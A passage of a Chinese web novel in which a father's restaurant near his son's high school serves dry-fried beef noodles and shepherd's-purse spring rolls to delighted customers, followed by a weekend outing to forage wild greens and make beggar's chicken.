倒不是楚易文炒的河粉不够诱人，主要还是有顾客习惯吃米饭，不过在确定中午只有牛河和汤后，他们倒没离开，而是想着反正老板手艺好，偶尔吃顿炒牛河当午餐也不是不行。 “老板我要两份。” “老板你炒的河粉太漂亮了！我也要两份炒，不然不够吃。” 听到顾客们夸赞的声音，楚易文脸上露出点笑意，快速往碗里夹着河粉，又麻利地盛好汤。 他今天之所以会做炒河粉，主要还是他家儿子说想吃，本身就是为儿子开店的他自然就做了。 干炒牛河那股锅气香是真诱人，原本更想吃米饭的顾客在买好午餐后都忍不住立刻开吃。 大火烹饪出来的河粉不光闻起来香，吃进嘴更是干爽可口，表面能尝到微微焦香，内里则是软软糯糯，配上酱汁的咸鲜，越吃越香。 河粉单吃就已经很美味，配上里面牛肉或者豆芽，口感更加丰富，嫩滑多汁的牛肉和脆嫩清甜的豆芽与河粉的米香融合，简直是人间美味。 “唔，我从来没吃过这么好吃的干炒牛河！”原本还问中午有没有米饭吃的顾客此时□□炒牛河给好吃到，眼睛都亮起来。 “确实好好吃，跟外面买的完全不同，吃起来干爽有韧劲，越吃越香！” 整道干炒牛河吃起来油润却不油腻，恰到好处的咸鲜配上食材丰富的口感，好吃到令人陶醉。而这道美食最灵魂的地方，就是由锅气带来的那股焦香。 吴煦旭买好午餐时有被香到，想着本来就是一人一份，便没等妹妹，握着筷子就吃上。 之前在家时他点过好多次炒牛河的外卖，跟外卖里要么碎碎的、要么油腻腻的、要么粘在一起的河粉比起来，面前这份干炒牛河简直完美。河粉颜色不会太深，也不会太白，看起来干爽诱人，配菜的牛肉和蔬菜更是分量又足，看起来还新鲜。 这才是我想吃的干炒牛河！外卖做的都是什么鬼！ 吴煦旭大口咀嚼着嘴里的河粉，那焦香，那咸鲜，香得他根本停不下嘴。 “哥你竟然不等我！” 吴煦琳小跑进店里就看到她哥已经吃上饭，不过在浓郁的香味诱惑下，她也就吐槽一句，随即便迫不及待坐下来开吃。 “唔，好好吃的炒河粉！” 第一口她没夹到配菜，米香、焦香、酱香三种香味在嘴里蔓延开来，瞬间就令她食欲大开。 牛肉好嫩好好吃啊！ 等她吃到牛肉时，立刻又被牛肉的嫩滑多汁给好吃到，感觉能天天来盲盒餐厅吃饭，简直太幸福了！ 隔壁桌，元元妈妈他们几个也早就吃上炒河粉，本来她考虑到河粉用不了勺子，想喂儿子吃，结果小家伙根本等不及她喂，竟然自己拿着筷子吃起来。 三岁不到的孩子筷子用得不是很到位，但馋意让他自然有办法吃到，只见小家伙将嘴凑到碗边，用筷子配合往前推，很快就将河粉吃进嘴里。 干爽油润而不失韧劲的炒河粉何止大人们爱吃，小孩子更是喜欢得不行，甚至都不挑食了，连里面蔬菜都吃得特别香。 厨房旁边那张桌上，楚瑾钰吃到自己想吃的干炒牛河，表情那叫一个开心。 胡一齐：“楚爸炒的河粉可真香，感觉以前吃的都是假河粉！” “确实，食堂的炒河粉都粘成一团，我还以为河粉都是这样，可是楚爸炒的就特别干爽。”叶其林夹起一筷子河粉抖了两下，看着就觉得很舒服，随即直接送进嘴里吃起来，享受着那股焦香。 商时贸：“楚爸炒的牛肉特别嫩，配上干爽的河粉，特别好吃。” “确实好吃，就是缺点辣。”楚瑾钰说完往嘴里又塞一大口河粉，随即边嚼边起身去厨房，很快拿了瓶辣椒酱出来。 辣椒酱是楚易文过年在家闲着没事时做的，属于剁椒酱，可以用来做菜也可以直接吃。 随着楚瑾钰将盖子打开，一股香辣中透着蒜蓉香的气息扑面而来，闻起来还挺诱人。 “给我来点。”胡一齐闻着味就立刻将碗推过去。 楚瑾钰先往自己碗里来了一大勺，随即给胡一齐碗里来了更多，一副要辣死他的样子。 “你差不多得了。”胡一齐赶紧把自己的河粉抢回来，用筷子将辣酱搅拌均匀。 楚瑾钰：“你们要不要？” “我自己来。”叶其林可不敢让他来，自己动手往碗里加了小半勺。 胡一齐：“嘶……楚爸做的这酱还挺辣……” 他就着辣酱吃了两口河粉，被辣到的同时又感觉挺香，于是继续吃起来。 “有点辣，但越吃越过瘾。” 听到胡一齐这么说，邵言易也加了一点点辣酱在碗里，感觉确实不错。 桌上只有商时贸没加辣，他感觉干炒牛河本身味道就很完美，没必要再加辣酱。 楚瑾钰吃着加辣版干炒牛河，越吃越觉得香，不过吃到后面时也觉得他爸做的辣酱是真有点辣，于是端起汤喝起来。 今天的冬瓜薏仁老鸭汤滋润降燥，倒是很适合吃辣后喝。鸭肉的鲜和冬瓜的清甜煮进汤里，喝起来咸鲜清爽，有种浑身都舒坦的感觉。 楚瑾钰从汤里捞起鸭腿啃起来，鸭肉被炖得软烂脱骨却不柴。吃起来皮滑肉香，他夹到碗里配点辣酱在肉上，吃起来更加美味。 教室里高考倒计时数字一天天在变，哪怕是他也感受到那股无形的压力，此时吃着香喷喷的午餐，上午学得头晕脑胀的脑袋此时都变轻松起来，没有复杂的数学题，没有难懂的化学、物理，只有美食带来的愉悦感。 新学期开始后，店里高三生的比例明显增加很多。高考是人生大事，没几个家长会不重视，孩子只是想吃口舒心的饭菜而已，又不是要天上的星星，只要家庭条件允许，家长们都会尽量满足。 不过店内位置有限，并不是所有学生都能直接在店里吃，要么直接在店门口蹲着吃，要么拿到学校里去食堂吃。 托盲盒餐厅的福，现在楚瑾钰几人不在食堂里馋人，结果又来了更多馋人的高三生。 “你好，请问你的炒河粉是在哪个窗口买的？” 余思语和朋友坐在食堂吃得正香时，有个学生被香味馋到，忍不住过来询问。 “不是在食堂买的，是在外面那家盲盒餐厅。”余思语回答的同时心里吐槽，食堂哪做得出这么好吃的炒河粉。 “原来是盲盒餐厅的炒河粉，怪不得那么香……” 食堂里也有炒粉卖，但和余思语面前的炒河粉比起来，简直一言难尽。 问话的学生道谢离开后，忍不住和身边的同学说：“食堂真是越来越难吃了，我明天也要让我妈去盲盒餐厅帮我买饭。” “你妈有空吗？盲盒餐厅的饭现在越来越难买了，听说得九、十点就提前过去。” “我妈明天放假，能吃一顿算一顿吧。” 另一边，老师办公室。 高三年级何止学生们有压力，老师们其实同样很累，如今能让他们放松的同样是盲盒餐厅的美味。 “好香，盲盒餐厅今天竟然吃炒河粉？给我尝尝。” 有老师最后一节有课，没空去盲盒餐厅排队，发现同事买到盲盒餐厅的炒河粉，立刻凑过去蹭吃。 石老师自己就是个吃货，哪舍得分享，然而在他想护食时，对方直接翻旧账：“上次是谁吃了我一个珍珠丸子？” 成功蹭到干炒牛河后，那味道简直比想象中还要香。 “太好吃了！锅气十足，早知道今天有这么香的干炒牛河，我就找人帮忙买一下了。” 石老师道：“他家店现在越来越难排队了，要不是我后面两节都没课，还不一定能买到。” 教师办公室里，大家在讨论盲盒餐厅时，店内楚易文已经卖完最后一份干炒牛河。 “老板你怎么不多炒点，我都没吃够！” 楚易文看到是前面买过干炒牛河的老顾客，不由道：“你不是买了两份？” “你炒的河粉太香了，两份都不够吃，下午还有不？” “你吃了两份还不够？我一份都没吃着。”没买到的顾客语气更加幽怨，觉得就是他们这些买两份的人太多，才导致他吃不着。 楚易文今天炒的河粉可不少，还有人吃不到，那纯粹是来吃饭的顾客实在太多。 “老板，我想请教你一下，炒河粉如果都粘在一起，是不是剩的或者用了不新鲜的河粉？”吴煦旭等到抱怨的顾客们离开，忍不住上前询问。 他之所以会这么问，主要是今天在店里吃的干炒牛河太香太美味，以至于他开始怀疑起自己之前点外卖吃的炒河粉。 “你刚刚吃的河粉粘在一起了？”楚易文觉得应该不可能，毕竟要是真如此，他夹河粉时就会看见。 吴煦旭赶忙摇头：“不是不是，是我之前点外卖的河粉都粘在一起，根本没有你炒的那么干爽，我有点怀疑是不是不新鲜。” 楚易文开口道：“如果没有酸味或者异味的话应该不是不新鲜，而是火候不足，河粉必须全程大火猛炒，否则河粉就容易出水，粘锅……” 听到他的话，吴煦旭放下心来，开口向他道谢。 而店里还没吃完的顾客听到他们的对话，其中一位忍不住开口夸道：“老板你的手艺是真没得说，河粉干爽弹牙，不光火候把握得好，油量更是恰到好处，吃完碗底一滴多余的油都没有。” 其他顾客之前还没注意到这点，闻言不少人都开始翻碗底，发现还真是如此。 “碗底真的没油哎！我说这河粉怎么越吃越香，一点都不腻，原来如此！” “老板太厉害了，怪不得炒出来的河粉这么好吃。” 今天的干炒牛河确实好吃，只要吃过就没有顾客不喜欢，好吃到小月和、箐玥两个人吃饭前还说要拍视频，开吃后直接忘记这回事，最终只拍了个空盘子发出去自嘲。 但别说，她们这个视频发出去，还引来一些评论，都是知道盲盒餐厅的网友在“哈哈哈”地笑话她们。 第94章 荠菜春卷 中午的干炒牛河实在太好吃, 好多顾客都问晚上能不能还吃这个，然而晚餐的食材楚易文已经准备好，自然不可能继续炒河粉。 楚易文：“河粉炒起来不难, 我晚上会把视频发出去，你们可以在家里学着自己炒。” 主要他家儿子嘴巴越来越挑，比起连续两顿同样的吃食，更喜欢换些花样，他肯定是按儿子的口味来。 “自己炒？我吗？老板你太看得起我了！” “有一说一，老板你是真厉害，不光菜做的好, 教的也好，过年时我跟着视频做了道四喜丸子，我家那帮亲戚都被惊到, 怀疑我去厨师学校学习去了，我妹更是连吃了三个丸子，直夸好吃。” “老板视频教的确实仔细, 但我真懒得学。” “我也……” 在这个网络发达的年代，大家难道是找不到菜谱吗？不, 主要还是懒。 楚易文听到顾客们的话都不知道说啥好，干脆也不等晚上，午休时间就在家里把视频剪好发出去。 【又来馋人了，天天就知道发视频, 有本事来我家附近开个店，看我不天天去吃！】 【嚯，这锅颠得太有水平了，河粉看起来干干爽爽，一定很好吃。】 【隔着屏幕都能感受到锅气, 这才是我想吃的干炒牛河，好馋……】 【啊啊啊！今天就去晚了一点，结果没吃到炒河粉，老板你有工夫拍视频为啥不能多做点，这么好吃的河粉没吃到，想想就难受。】 【老板你等着，等五一时我高低得去你家店尝尝，明明没关注，结果视频一个不落的全刷到了，可把我给馋坏了。】 【哈哈，有没有一种可能，五一老板他儿子放假，餐厅压根不开门。】 【靠！真的假的，为什么他儿子放假就不开门？我就五一有空，那不是吃不着了？】 【看出来你确实没关注老板了，他早就说过开店是为了方便儿子吃饭，儿子放假他当然就不营业了，不过你可以等四号去，他儿子是高三生，劳动节估计最多放三天假，要是运气不好可能只有两天。】 有外地网友惦记着五一要来云市吃饭时，楚易文已经回店里开始准备晚餐。 三月初，天气已经开始逐渐转暖，很多属于春天的美食已经上市。 晚餐他准备做豌豆苗滑肉汤，嫩秧秧的豌豆苗配上滑嫩的肉片，鲜美的同时带着满满的春天气息。 “妈妈，汤汤真好喝呀~” 豌豆苗口感脆嫩清甜，肉片滑嫩美味，汤更是格外鲜，到饭点后别说大人，就连小朋友都格外喜欢喝汤。 “妈妈，菜菜好吃！”丹丹平常不是很爱吃蔬菜，今天却是大口吃着汤里的豌豆苗。 丹丹妈妈很是欣慰：“喜欢就多吃点。” 她家女儿从小就瘦，想长点肉特别难，自从来盲盒餐厅吃饭后小脸都圆了一圈。当妈的就盼着孩子身体健康，看到女儿终于长肉了，哪怕老公念叨她浪费钱，还是坚持要带女儿出来吃。 当然，她也知道不可能一直在外面吃，平常有跟着视频学做菜，准备等学到五六分水平时再说。 晚餐结束，她拎着打包好的饭菜，牵着吃饱喝足挺着小肚子的女儿回家。 “妈妈，丹丹回家吃呀？” 小家伙明明已经吃得很饱，但看到妈妈手上拎着好吃的饭饭，黑白分明的大眼睛里亮晶晶的，像是看到鱼的小馋猫。 “给爸爸带的，你要是到家还吃得下，可以和爸爸一起吃。”丹丹妈妈摸着她小脑袋道。 母女俩到家后，丹丹爸爸已经在家里，听到开门声表情瞬间落下来：“我就搞不懂了，自己在家做点饭就那么难？孩子才多大，你天天带她在外面吃，能有营养吗？” 丹丹妈妈吃饱喝足心情正好，懒得和他吵架：“人家老板是高三学生的爸爸，他为了让自家孩子吃好，天天做的又好吃又营养，没看女儿最近都长肉了。” 她说完直接坐到餐桌前开始拆袋子，随着袋子和餐盒被打开，一股浓郁饭菜香瞬间飘满整个屋子。 丹丹爸爸闻见那股诱人的香味，不由走过来，就见桌上米饭晶莹剔透；金棕色的烤羊排在灯光下闪烁着油润的光泽，肥肉边缘被烤得金黄酥脆，像是层薄薄的琥珀；辣椒炒蛋卖相十足，翠绿的青椒和嫩黄的鸡蛋块交织在一起，散发出带着点辛辣的鲜香。 其实本来丹丹妈妈还准备带点汤，但由于女儿太喜欢那道豌豆苗滑肉汤，最后都进了小家伙的肚子里。 “不是给我带的吗？你干嘛？”丹丹爸爸看到她拿起筷子，赶紧坐下来将饭菜拉到自己面前。 “你不是嫌外面饭菜没营养吗？那我和女儿自己吃，你饿了去厨房煮面呗。” 自己煮的面条哪有桌上的饭菜好吃，丹丹爸爸也是能屈能伸，立刻改口道：“我倒是要尝尝，到底是多好吃的饭菜才让你和女儿天天去吃。” 烤羊排着实诱人，他直接夹起一根放到米饭上，咬上去瞬间就感受到酥脆焦香的外壳，很快香料和盐的复合鲜味在味蕾上蔓延开来，好吃到他下意识夸了句：“真香！” “带回来有点冷了，在店里趁热吃那才叫香，外脆里嫩，丹丹都吃了两根。”丹丹妈妈看到他越吃越快，一副没吃过好东西的模样，心里有些得意，觉得让他再天天念叨，自己还不是一吃就喜欢上。 烤羊排此时只带着点余温，但一点不影响它的美味，不光外壳焦脆，内里羊肉嫩滑多汁，咀嚼间脂肪的丰腴、羊肉的鲜美和香料的气息在嘴里融合，好吃到丹丹爸爸有点陶醉。 他感觉嘴里的烤羊排已经是人间美味，都不敢想刚烤好正热乎的会多好吃。 “爸爸，啊……” 看到爸爸吃得那么香，丹丹立刻就张开嘴巴凑过去，像只嗷嗷待哺的小兽。 “你不是已经吃过了。”丹丹爸爸说是这么说，还是将羊排递过去给女儿咬了口，随即一手握着羊排，一手拿着筷子，大口吃起来，吃相那叫一个香。 不光烤羊排好吃，辣椒炒蛋更是又香又下饭，十分钟不到，扒干净最后一粒米的他有些意犹未尽地抬头：“你怎么不给我多带点。” “这不是怕某人觉得我乱花钱嘛。” 吃过刚刚那份饭后，丹丹爸爸已经“真香”了，立刻道：“这家餐馆确实好吃，主要肉和菜吃起来特别新鲜，米也是好米……” 他把盲盒餐厅好一顿夸，最终表示不再对妻子女儿出去吃饭哔哔赖赖，只要她们吃完给自己带一份就行。 “老婆，中午可以给我送饭吗？公司附近我都已经吃腻了。” “我带着女儿去给你送饭？亏你想得出来。” 丹丹爸爸望着自家还不到三岁的女儿，感觉确实不方便，于是道：“那我中午过去找你们一起吃饭。” 次日是周六，双休党的愉快日子，可惜和楚瑾钰没什么关系。 早上他被他爸喊起来时，几乎是闭着眼睛在往嘴里塞早餐，整个人一副睡眠不足的模样。 “昨天晚上熬夜了？”楚易文看到他这副模样关心道。 楚瑾钰可能是脑子还没完全清醒，顺口就说了实话：“有点睡不着，就拉胡一齐打了几把游戏……” “下次别熬夜了，本来读书就费脑子，再不休息好身体会垮，中午给你炖个鸡汤补补。” “知道了。” 早餐吃完，楚易文先开车送他去学校，随即就开车去码头菜市场，将老人们带过来的家养走地鸡全部包圆，准备中午拿来炖鸡汤。 “荠菜要不要？昨天刚在山上挖的。”看到楚易文买完鸡，旁边一位老人指着自己面前的竹筐询问。 春天正是吃荠菜的好时候，楚易文闻言二话不说点头：“都要了，你直接称。” 他说完又抬头看向周围：“谁那还有荠菜？我全收了。” 刚刚把鸡全卖出去的老人脸上笑容还没消失，现在又轮到挑荠菜过来的老人高兴了。 自从楚易文开店以后，他都是优先来码头菜市场买老人们的菜，除非这边没有才会去其他地方买。老人们都很感激他，今天更是送了他不少用树叶包着的刺泡。 刺泡楚易文小时候经常吃，现在看到还挺怀念，本来他是想给钱买的，毕竟老人们能收集这么多刺泡肯定费了不少时间，然而他们却是坚决不收钱。 “就一些野果子，山上到处都是，你拿着吃就是。” 楚易文见老人们不肯收钱，于是从车里把后备箱中的水，以及备给孩子们吃的零食都拿出来分给他们。 水老人直接打开喝了，然而零食他们却是舍不得吃，都装进篮子里想着带给家里孩子吃。 采购完食材，楚易文开车回到店中，李老太太已经到了，正在里面擦桌子。 “哪来那么多刺泡？”李老太太帮忙搬食材时发现那些红彤彤的刺泡。 “买菜时他们送的，你尝尝，还挺甜。”楚易文说完就直接去厨房先把鸡给杀了好炖汤。 今天的鸡汤没再放香菇，而是用红枣、枸杞、虫草花、党参来炖，又美味又营养，很适合熬夜后喝。 楚易文用大砂锅将汤炖上时，李老太太已经将需要清洗的食材洗得差不多。 不得不说，虽然刚开始楚易文是本着做好事的想法请老太太来店里上班，但这工资是真没白花，老太太干活麻利，真给他省了不少事。 就比如他今天准备做个荠菜馅春卷，将荠菜焯水、挤干水分、切成丁加香干、腌制好的肉末调成馅，开始包春卷时，李老太太还能帮着一起包。 李老太太边包边夸：“你这馅调得真好，闻着就香。” “你包的春卷也挺好。”楚易文笑着夸完，见她会包这个，干脆转身去做其他菜。 旁边灶台上，鸡汤的鲜味已经开始被炖出来，顺着厨房飘出去，香味不算霸道，却很是勾人。 门外，小月和爷爷远远就闻见香味，不直接深吸一口气。 “是鸡汤的味道，好香！” 祖孙二人刚在店里坐下来，很快又有人陆续进门，其中有位头发花白老太太坐下来后边打量店里边开口：“我问一下你们，这家店是盲盒餐厅吧？” “对，就是盲盒餐厅。”莹莹妈妈回答完顺口道，“你也是来替家里孩子买饭的吗？” “对，我孙子说想吃这家的饭……”老太太见有人和她说话，立刻就跟莹莹妈妈聊上。 刚开始莹莹妈妈还以为她孙子也是这个学校的学生，得知竟然是令一座高中的，不由感叹起来，觉得老太太是真疼孙子。 “嗨，反正我也没事干，孩子想吃就给他买呗，现在的学生读书太累了，天天学那么晚……” 老太太这话一出，店内的其他家长很有同感，纷纷点头应和起来。 店里人越来越多时，更加浓郁的香味从厨房里飘出来，闻起来简直能香死个人。 “好像是回锅肉的味道，太香了！” “还有一股虾鲜味，闻得我都饿了。” 随着顾客们话题从高中生学习压力大转移到吃上时，大家真是越聊越馋。 今天才过来的老太太闻见香味，顿时就明明为什么孙子会想吃这家的饭，她都有点馋起来。 店内已经弥漫着浓郁香味时，厨房里，楚易文开始炸春卷。 油温六成热时，他将春卷分批滑入锅中，春卷刚和油接触立刻“滋滋”作响，随着他时不时用筷子将春卷翻动，原本白色的春卷逐渐变成金黄色。 油炸特有的焦香从锅里飘出来，香味特别霸道，紧随其后的是荠菜带着野性的清香，这种春天才能品尝到的气息特别清新，配上肉鲜味，简直令人垂涎欲滴。 随着第一批春卷炸好，店里的顾客简直要被馋死：“这是在炸什么？香死个人了！” “好饿啊，每天到店里来时我都感觉自己能吃下一头牛。” “好像闻见荠菜香了……” “好香好香，学校怎么还不放学？我都饿了。” “妈妈，要吃饭！” 随着厨房里楚易文不停炸春卷，香味越来越浓，越来越霸道，春卷皮被炸透产生的焦香、馅料里猪肉在高温下被炸出来的脂香、荠菜的清香、豆干的豆香，几种香味层次分明，能勾起人心里最深的食欲。 大人们都被馋得受不了，恨不得立刻就吃饭，小朋友们就更不用说，馋得直嚷嚷。 现在十一点还不到，根本没那么快吃饭，家长们只能拿出随身携带的零食哄道：“饿了先吃点饼干垫垫肚子。” “不要！” 平常对小朋友们来说很受欢迎的零食，此时却是毫无吸引力。有些小朋友还算讲道理，有些却是被宠坏了，想吃就非要吃到，不然就开始坐地上耍赖。 “你再闹就回家吃饭去！” “不要不要不要……” 李老太太在厨房不需要自己帮忙时就出来外面看着，见有小朋友吵着要吃饭，拿出刺泡帮家长哄孩子。 刺泡这种野果子红彤彤的，别说小朋友没见过，不少年轻人都不认识这玩意。 刺泡有不少，楚易文留出一大碗给儿子，剩下的他怕会放坏，便让李老太太拿出来请顾客们吃。 小孩子被没见过的果子吸引，总算消停下来，店里的老人拿着刺泡，却是露出怀念的表情。 “好多年没吃这个了，小时候……”黄老爷子开口回忆当年时，店里的老人纷纷接话附和。 年轻人们对以前那个年代也挺好奇，纷纷竖起耳朵听他们讲古。 “烤蚂蚱？嘶……这玩意也能吃？” 听到老人们回忆以前烤麦穗、烤麻雀时，店里的年轻人只觉得好玩，听到“烤蚂蚱”时，有点起鸡皮疙瘩。 黄老爷子道：“烤蚂蚱香着呢，那会还得抢着吃，也就是现在条件好了……” 闲聊下时间过得总算快一些，随着放学铃声响起，楚易文开始往外端菜。 “原来是炸春卷，怪不得那么香！” “老板，春卷是不是荠菜馅的？” 盆里的春卷整齐摆放着，像是一条条黄金一样耀眼，那带着焦糖斑点的焦黄色，还没吃就能感受到它的酥脆。 “是荠菜肉馅的。”楚易文说完开始给顾客们打饭。 今天小月来得早，很快就轮到她和爷爷，饭菜刚到手，她立刻就拿起个还有点烫的春卷塞进嘴里。 没办法，早上她不饿就没吃早餐，结果坐在店里等饭吃时，简直要被馋晕，现在看到吃的只想赶紧垫垫肚子。 春卷比她想象中还要酥脆，“咔嚓”一声表皮直接碎开，露出里面的馅料，翠绿的荠菜、米白色香干丁、浅褐色肉末交织在一起，深深浅浅，带着满满的春天气息。 外皮被咬开后，荠菜的清香完全涌出来，带来味觉和嗅觉双重享受。 “爷爷你快尝尝，春卷好好吃！”小月刚坐下就迫不及待道。 黄老爷子点点头，伸出筷子夹起个春卷送进嘴里，香得他眼睛都眯起来。 春卷皮的酥脆焦香和馅料的鲜嫩多汁形成对比，荠菜的清香是这道美食的灵魂，它那爽嫩的口感和恰到好处的清苦完美中和油炸的油腻感。那带着野性的清香，让人如同置身春日里的山林，感受到满满的春天气息。 荠菜属于野菜，在黄老爷子他们这辈人看来，野菜是没有粮食不够吃的情况下不得已的选择，他还是第一次感受到，原来野菜还能如此美味。 “好好吃呀~” 小孩子本来就喜欢吃油炸类食物，吃到春卷后，好几个小朋友都被好吃到摇头晃脑。 荠菜本身是带着微微清苦的，但这股清苦来得快去得快，很快就被回甘给替代，哪怕小朋友们对蔬菜的苦味很挑剔，吃到荠菜春卷时却还是爱得不行。 “唔，楚爸做的春卷简直绝了，怎么会这么香，这么好吃，比外面店里卖的香一百倍！”胡一齐刚进店就被春卷特有的香味给吸引，等吃到时眼睛都不自觉睁圆。 他以前就爱吃春卷，高一时点外卖，只要店里有春卷就必然会点。然而今天他才发现，原来春卷还能如此美味，好吃到他甚至有点想哭。 叶其林：“外面卖的基本上都是速冻的半成品，跟楚爸做的自然没法比。” 他话落，商时贸边吃边点头：“楚爸做的春卷荠菜味特别浓郁，这股清香太解腻了。” “确实好吃，明天要不要一起去挖野菜？”楚瑾钰吃着香喷喷的荠菜春卷，却是想起去年春天挖笋和野菜的乐趣。 胡一齐：“去去去！挖完让楚爸给我们做好吃的，我想吃凉拌马兰头了！” “明天肯定又有一堆作业，哪有空去啊。”叶其林道。 “晚自习时做一点，实在做不完就明天下午或者晚上再做呗，时间都是挤出来的。”楚瑾钰说完又转头邀请邵言易一起去。 自从奶奶到盲盒餐厅上班后，邵言易和他们关系越来越亲近，闻言没怎么犹豫就答应下来。 李老太太来店里上班不光每个月有工资拿，由于能在店里吃饭，还省下不少饭钱，从上个学期开始，祖孙二人精气神就肉眼可见地变好很多。 他们边吃边聊时，店里已经人满为患，丹丹爸爸来到店门口，好一会才挤进来，找到妻子和女儿。 进来他先说一句“好香”随即才感叹店里人真多，随即在女儿原本的位置坐下来，将女儿抱在怀里。 丹丹妈妈吃得正香，压根没空理他，他也不介意，被春卷香味馋到，直接就着女儿的手咬了口她握着的春卷。 “爸爸坏！”丹丹鼓着脸颊瞪爸爸一眼，随即爬到妈妈怀里去。 丹丹爸爸笑了一声，很快就被嘴里的春卷给香到，顾不得再逗女儿玩，握着筷子就开吃。 荠菜春卷外皮酥脆，内馅鲜嫩，荠菜的山野清香令人回味无穷，让忙于工作压根没时间感受大自然的丹丹爸爸品尝到春天的气息，吃得根本停不下来。 第95章 荠菜春笋千张卷 丹丹妈妈看到丈夫哐哐干饭, 吃得比自己和女儿加起来都快，心里有些小后悔，觉得早知道还不如让他念叨几句, 干嘛叫他过来一起吃。 “你慢点吃！”她边说边夹起春卷放到自己和女儿碗里。 丹丹爸爸吃得压根顾不上说话，不过倒是把进食速度稍微放慢一些，边吃边享受地直摇头，感觉这才是吃饭，以前只是单纯填饱肚子。 在店里已经坐满吃饭的人时，还有不少家长拎着打包好的饭菜离开，他们都是和今天刚过来的那位老太太一样, 替不在本校读书的孩子来买饭。 今天还在上学的同样是高三生，等家长们把饭送过去，他们吃得都特别香, 只恨自己学校门口没有这么好吃的店。 “奶奶你也吃，这个春卷特别香。” “奶奶不吃，你自己吃。” “你不吃我也不吃了！” 已经上高中的孩子想到奶奶那么辛苦从其他学校门口给自己买饭, 怎么可能让她就在旁边看自己吃。 最终祖孙二人一起吃起来，本就美味的午餐变得更加好吃。 盲盒餐厅。 楚易文卖完最后一份饭, 收拾连汤都不剩的空盆转身回厨房，很快坐到儿子身边准备吃午餐。 至于端饭？根本不用他动手，每次到他快卖完时，邵言易他们就抢着进厨房提前把饭菜摆到桌上。 楚瑾钰在他爸盘子里蹭了个春卷, 边吃边道：“爸，明天我们可以去挖春笋吗？” “行啊。”楚易文二话不说就答应下来，甚至压根没提什么要把作业写完的要求。 在他看来，学习很重要，劳逸结合同样重要。至于作业, 升到高三后其实已经不用他催，孩子们已经知道主动去写。 楚易文答应明天带他们出去踏春后，下午回到教室，楚瑾钰他们已经开始提前写作业，利用课余时间加晚自习，已经提前把明天的作业写完一半。 晚上回到家，楚瑾钰也没再熬夜打游戏，而是十一点前就躺下睡觉，次日早上终于不用楚易文叫就自己起床。 “爸，早上吃什么？” 他刚打开房门就扯着嗓子问，甚至不愿意自己从扑鼻而来的香味中猜。 叶其林他们说好今天要到家里来吃早餐，楚易文特意多做了几样，闻言回答道：“有莲藕肉包、土豆丝卷饼、皮蛋瘦肉粥和豆浆。对了，你问一下他们出门没有。” 楚瑾钰拿手机在群里发了条消息，随即表示他们都快到了。 就在他放下手机准备先拿个包子吃时，门铃声响起，他打开门发现最先来的竟然是邵言易。 “来就来，带什么东西。”楚瑾钰看到他手里提的袋子说。 邵言易：“我奶奶自己种的菜，早上刚摘的。” “你奶奶还在种菜？她不是要上班吗？”楚瑾钰诧异道。 提起这个邵言易就有点无奈：“我让她别种了，她不听，每天五六点就起床去整理她的小菜地。” 只能说老一辈人是真闲不住，哪怕有工作还要利用空闲时间种菜。 两个人聊着天进入厨房，邵言易边将带过来的菜放好边叫人：“叔叔。” “来了，洗个手准备吃早餐。”楚易文如今已经将他当普通小辈看待，很自然地招呼起来。 早餐刚端上桌，门铃声再次响起，这次是胡一齐他们都来了。 “好香啊！楚爸你又做什么好吃的了！” 随着胡一齐过来，家里瞬间就热闹起来，很快就开始吃早餐。 “唔，这包子真好吃，莲藕和肉简直是绝配！” “楚爸煮的皮蛋瘦肉粥就是好喝。” “胡一齐你慢点吃，给我留点包子！”楚瑾钰正吃着香软可口的土豆丝卷饼，见胡一齐两口解决一个包子，不由道。 楚易文准备的早餐分量是真不少，然而一群半大小子是真能吃，等到早餐结束，连粥都一点不剩。 “吃饱没？”楚易文担心他们没吃饱，特意多问了一句，确定都吃饱了才收拾东西带他们出门。 今天天气特别好，蓝天白云，晴空万里，不冷不热的风吹在身上，简直不要太舒服。 还没到目的地，光是在路上几个孩子就已经兴奋起来，甚至还开始唱歌。 楚易文受到他们情绪的感染，唇角不自觉上扬，将自己这边车窗完全降下来，感受着春风拂面带来的青草气息。 到地方后，楚瑾钰几人熟门熟路地领着邵言易去找野菜、挖春笋，然而真动起手来时，邵言易比他们还厉害点，一挖一个准。 春日的山林里生机勃勃，空气特别清新，置身其中让人心情愉悦，尤其是挖到“宝贝”后的成就感，更是令楚瑾钰他们忘记学习的压力与烦恼。 在吃喝方面楚易文是真有点宠孩子的，在楚瑾钰提出想自己做叫花鸡吃时，他非但不嫌麻烦，甚至主动找农家乐的老板买食材、找合适的场地。 为了让孩子们体会自己动手的成就感，楚易文只帮忙将鸡给腌好，剩下的全都交给他们自己。 几个孩子分工合作，倒是搞得有模有样，甚至还弄了些红薯放进去一起烤。 “爸，能吃了吗？” “楚爸，还要多久？” “没那么快，再等等。”楚易文见他们一副等不及的模样，语气透着笑意。 有他帮忙看着火候，最终叫花鸡和烤红薯做得还挺成功，尤其是叫花鸡的泥壳被敲开时，那叫一个香气四溢，把其他游客都吸引过来。 “你们自己做的叫花鸡？太厉害了！” “真香，你们动手能力太强了。” 听到周围游客的话，楚瑾钰几人脸上都露出笑容，随即就开始分享起来。 “爸，吃鸡腿。” 儿子的心意，楚易文自然不会拒绝，接过鸡腿后咬了口，发现整体味道还不错，皮滑肉嫩，里面汁水很足。 “好好吃啊！” “太香了！我们可真厉害。” 有劳动加成在，楚瑾钰他们吃到叫花鸡时都觉得格外美味，吃得那叫一个香。 被香味给吸引，有游客忍不住也去找老板要了只鸡，结果第一次挖出来时都没烤熟，如果不是楚易文正好看到提醒一句，他们怕是就那么半生不熟地吃了。 胡一齐：“鸡肉没全熟能吃吗？” “肯定不能啊。”楚瑾钰觉得他是在说废话。 胡一齐：“那还好楚爸提醒他们了，否则还不得吃坏肚子。” 吃饱喝足，野菜和春笋也都挖够，下午他们一行人又在农家乐附近散散步、欣赏一下风景才回家。 到家后楚瑾钰有点犯懒，躺在沙发上不想动弹。 商时贸：“该写作业了。” 不是他要扫兴，而是外面太阳已经开始落山，再不写作业就得晚上加班加点了。 见儿子一副不想写作业的表情，楚易文开口道：“快去写吧，晚上我用你们挖的荠菜和春笋做个新花样。” “我现在就去写！” 听到吃，胡一齐比楚瑾钰要更积极，甚至还将他从沙发上拉起来。 之前楚易文已经用荠菜做过饺子、包子、春卷、炸丸子，今天他准备用荠菜加春笋做个荠菜春笋千张卷。 刚刚回家的路上他就去买了点肉和薄千张，目送几个孩子去写作业，自己边挽袖子边往厨房走，那慢条斯理的动作，特别有大厨风范。 